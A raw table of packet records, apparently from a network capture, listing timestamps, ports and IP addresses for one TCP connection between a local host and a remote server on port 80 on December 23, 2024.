Dec 23, 2024 17:28:42.394236088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.394426107 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.395355940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.395423889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.395483971 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.396596909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.396694899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.396832943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.397809029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.398005009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.398055077 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.399084091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.399324894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.401145935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.401670933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.401722908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.401735067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.401755095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.401788950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.401801109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.402741909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.402836084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.402918100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.403990984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.404002905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.404084921 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.405246973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.405260086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.405303955 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.406320095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.406471014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.406544924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.407604933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.407716036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.407804966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.408797979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.408945084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.408997059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.410063028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.410208941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.410279989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.411237001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.411362886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.411416054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.412456989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.412506104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.412560940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.413729906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.413743019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.413800001 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.414916992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.415004969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.415062904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.416137934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.416223049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.416282892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.417323112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.417383909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.417510033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.418647051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.418740034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.418797016 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.419744968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.419919014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.420074940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.420995951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.421171904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.421253920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.422192097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.422446012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.422504902 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.423461914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.423569918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.423615932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.424633980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.424875021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.424954891 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.425841093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.425898075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.425935984 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.427067995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.427158117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.427242041 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.428265095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.428425074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.428476095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.429620981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.429696083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.429781914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.430897951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.430912018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.431006908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.432044983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.432089090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.432180882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.432672024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.433248043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.433296919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.434504032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.434550047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.434596062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.434596062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.443413019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446089983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446202040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446219921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446234941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446248055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446261883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446274042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446290970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446290970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446336031 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446365118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446399927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446424961 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446481943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446521044 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446530104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446563005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446574926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446585894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446599960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446616888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446624994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446624994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446688890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.446932077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.446949005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.447058916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.447123051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.447134972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.447251081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.448170900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.448292971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.448400021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.449142933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.453428030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.576987982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.577073097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.577274084 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.577569008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.577651978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.577697992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.578839064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.579047918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.579118013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.580108881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.580154896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.580240011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.581267118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.581377029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.581466913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.582483053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.582675934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.582731009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.583756924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.583770990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.583817005 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.584887028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.585017920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.585155964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.586127996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.586148977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.586313009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.587299109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.587447882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.587510109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.588624001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.588768959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.588834047 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.589879036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.589931011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.590019941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.591011047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.591100931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.591161013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.592189074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.592267036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.592319012 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.593400955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.593440056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.593549967 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.594640017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.594769001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.594913006 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.596065998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.596077919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.596178055 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.597117901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.597285032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.597356081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.598328114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.598459005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.598562002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.599524021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.599612951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.599670887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.600846052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.600858927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.600899935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.601933956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.602102041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.602165937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.603240013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.603346109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.603513002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.604413986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.604515076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.604588032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.605705023 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.605717897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.605773926 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.606812954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.606920004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.606981993 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.608205080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.608313084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.608434916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.609496117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.609544992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.609736919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.610517025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.610790968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.610961914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.611788034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.611973047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.612082005 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.613003016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.613185883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.613260984 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.614160061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.614311934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.614371061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.615439892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.615562916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.615657091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.616614103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.617043018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.617147923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.617975950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.617989063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.618046045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.619105101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.619235039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.619364977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.620328903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.620441914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.620697021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.621560097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.621654034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.621702909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.622757912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.622942924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.623027086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.623967886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.624057055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.624147892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.625283957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.625435114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.625479937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.626477003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.626583099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.626734018 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.627640963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.627768993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.627840042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.628851891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.628933907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.629034996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.630100012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.630464077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.630554914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.631361008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.631548882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.631715059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.632559061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.632647991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.632702112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.633745909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.633948088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.634083986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.634958029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.635082960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.635219097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.635333061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.636205912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.636353016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.637412071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.637434006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.638160944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.638329983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.638668060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.638680935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.638717890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.640296936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.640310049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.640350103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.641762972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.646681070 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.657915115 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.769243956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.769313097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.769351006 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.769591093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.769658089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.769701004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.770829916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.770927906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.770979881 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.771956921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.772094965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.772182941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.773247004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.773288012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.773343086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.774472952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.774827003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.774902105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.775619030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.775753021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.775825977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.776815891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.776962996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.777004957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.777981997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.778012037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.778090000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.779186964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.779297113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.779339075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.780441046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.780579090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.780658007 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.781631947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.781781912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.781888962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.782831907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.782983065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.783087015 CET	49716	80	192.168.2.8	185.215.113.16
